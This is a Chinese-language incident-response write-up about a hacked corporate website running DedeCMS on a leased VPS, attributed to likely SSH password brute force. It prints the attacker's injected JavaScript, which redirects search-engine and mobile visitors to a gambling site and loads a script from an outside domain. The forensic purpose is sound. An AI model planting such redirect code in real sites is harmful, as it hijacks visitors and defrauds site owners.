記一次服務器入侵事件的應急響應

作者：銀彈實驗室 2022-09-14 12:01:35

安全應用安全

網站源碼被篡改，攻擊者一定獲取到了權限，那么接下來的思路就是推測攻擊者入侵手段，找到業務脆弱點，對服務器進行全方位排查，找到攻擊者留下來的痕跡并進行分析處理。

0x01 事件背景

8月某日，客戶官網被黑，需在特定時間內完成整改。為避免客戶業務受到影響，實驗室相關人員第一時間展開本次攻擊事件的應急處理。

0x02 事件分析

2.1 信息收集

與客戶簡單溝通后，得知如下基本信息：

官網服務器為租賃的阿里云虛擬專用服務器
虛擬專用服務器上部署的官網后臺使用了DedeCMS織夢系統
虛擬專用服務器安裝了寶塔面板服務器運維系統
虛擬專用服務器安裝的寶塔面板的密碼已被篡改

2.2 攻擊入口判斷

服務器開放了SSH、寶塔、DedeCMS等3個服務，那么接下來我們從服務器開放的服務來推測可能的攻擊入口。

玩過寶塔的朋友都知道，寶塔后臺路徑未知的情況下，通過寶塔后臺GetShell基本上是不可能的。此外，客戶設置的BT面板的用戶名也有些復雜，所以推斷攻擊者從寶塔下手的可能性很小（這里埋個坑，前面提到客戶寶塔后臺密碼被修改的情況，后面會說到原因）。

客戶官網使用的DedeCMS版本為 v5.7 sp2，嘗試所有公開漏洞均未成功。并且，DedeCMS的后臺密碼沒有規律，所以推測從DedeCMS入侵的可能性也不是很大。

客戶給出了服務器的賬號密碼，我們的第一反應是入侵從SSH弱口令開始的。因為我的爆破字典里包含了服務器的密碼（手動笑哭），但這顯然還不能直接讓客戶信服。

綜上，高度懷疑服務器是被爆破SSH弱口令后導致了后續的入侵行為。

2.3 應急響應

在判斷攻擊入口后，我們登錄客戶的服務器，仔細掄了一遍，只能說服務器上的東西有點多。。。

2.3.1 BC黑頁&PHP后門

首先訪問客戶首頁，發現官網頁面表面沒有任何異常，也并未被重定向到BC網站。但是實際上網頁Meta信息被篡改，且會異步請求BC網站和百度統計的若干接口。

推測攻擊者的目的應為BC網站SEO優化，提高網站的SEO排名。

定位到服務器上的DedeCMS網站源碼，發現源碼在7月17日被修改植入了惡意代碼。

網站源碼被插入2個新的meta元素，以及一段JavaScript代碼。下圖為新增的meta元素，解碼后發現是菠菜搜索關鍵詞。

新插入的JavaScript代碼如下圖所示。解碼后發現是一段引用外部js的代碼。

惡意js文件的內容為：

1662693667_631ab1231422125940ce2.png!small?1662693666820

此文件的作用就是插入https://sjbgw2022.com/tb.js的惡意文件以及對惡意SEO優化。

繼續查看tb.js這個文件內容：

//這里省略一大段代碼，因為代碼內容與ly.js內容一致都是對惡意SEO的優化
//上面的代碼與之前一樣作用就是推送自動收錄。
//JS正則表達式判斷來路，如果是下列搜索引擎則指定跳轉網址。
var regexp=/\.(sogou|soso|baidu|bsb|youdao|lanjie|bing|118114|biso|sm|qq|so|safe|toutiao|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="https://tb04.cc/";//滿足就跳轉至菠菜頁面。
}

//更詳細的檢測，判斷是否包含搜索引擎字段，是則跳轉至菠菜頁面。
 var sp_regexps =
  /\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./gi;
var sp_whereis = window.location.referrer;
try {
  sp_whereis = top.document.referrer;
} catch (e) {}
try {
  sp_whereis = window.parent.document.referrer;
} catch (e) {}
var sp_domains = window.location.host;
try {
  sp_domains = top.document.domain;
} catch (e) {}
try {
  sp_domains = window.parent.document.domain;
} catch (e) {}
if (sp_regexps.test(sp_whereis)) {
  window.location.href = 'https://tb04.cc';
  parent.window.opener.location = 'https://tb04.cc';
}

//判斷是否是移動端，滿足也跳轉至菠菜頁面。
function browserRedirect() {
  var sUserAgent = navigator.userAgent.toLowerCase();
  var bIsIpad = sUserAgent.match(/ipad/i) == 'ipad';
  var bIsIphoneOs = sUserAgent.match(/iphone os/i) == 'iphone os';
  var bIsMidp = sUserAgent.match(/midp/i) == 'midp';
  var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == 'rv:1.2.3.4';
  var bIsAndroid = sUserAgent.match(/android/i) == 'android';
  var bIsCE = sUserAgent.match(/windows ce/i) == 'windows ce';
  var bIsWM = sUserAgent.match(/windows mobile/i) == 'windows mobile';
  if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM)) {
  } else {
    window.location.href = 'https://tb04.cc';
  }
}
browserRedirect();